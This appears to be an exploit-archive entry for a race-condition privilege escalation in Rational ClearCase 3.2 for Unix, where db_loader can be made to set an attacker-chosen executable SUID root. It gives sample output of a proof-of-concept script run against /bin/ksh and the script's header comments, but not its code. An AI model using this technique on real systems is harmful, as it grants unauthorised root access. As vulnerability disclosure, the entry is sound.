Rational Software ClearCase for Unix 3.2 - ClearCase SUID

source: https://www.securityfocus.com/bid/538/info

Rational Software's ClearCase product includes a vulnerability whereby an unprivileged user can have any readable executable set to SUID root.. A 1.5 meg file is copied and then chmod'ed to SUID, and during the time this file is being copied it can be unlinked and replaced with another.

Sample output:
> ./clear_waste.sh /bin/ksh

Clear Case proof of concept exploit code - [email protected] 2.5.1999
one beer please!

creating race grinder....
created!

compiling race grinder...
compiled! Launching attack.... be patient

Looks succesfull!

# This is sample code that takes advantage of a race condition in 
# Pure Atria's Clear Case db_loader program. The program will retain
# ownership of the file pointed to on the command line and have
# the clear case db_loader change the permissions to SUID
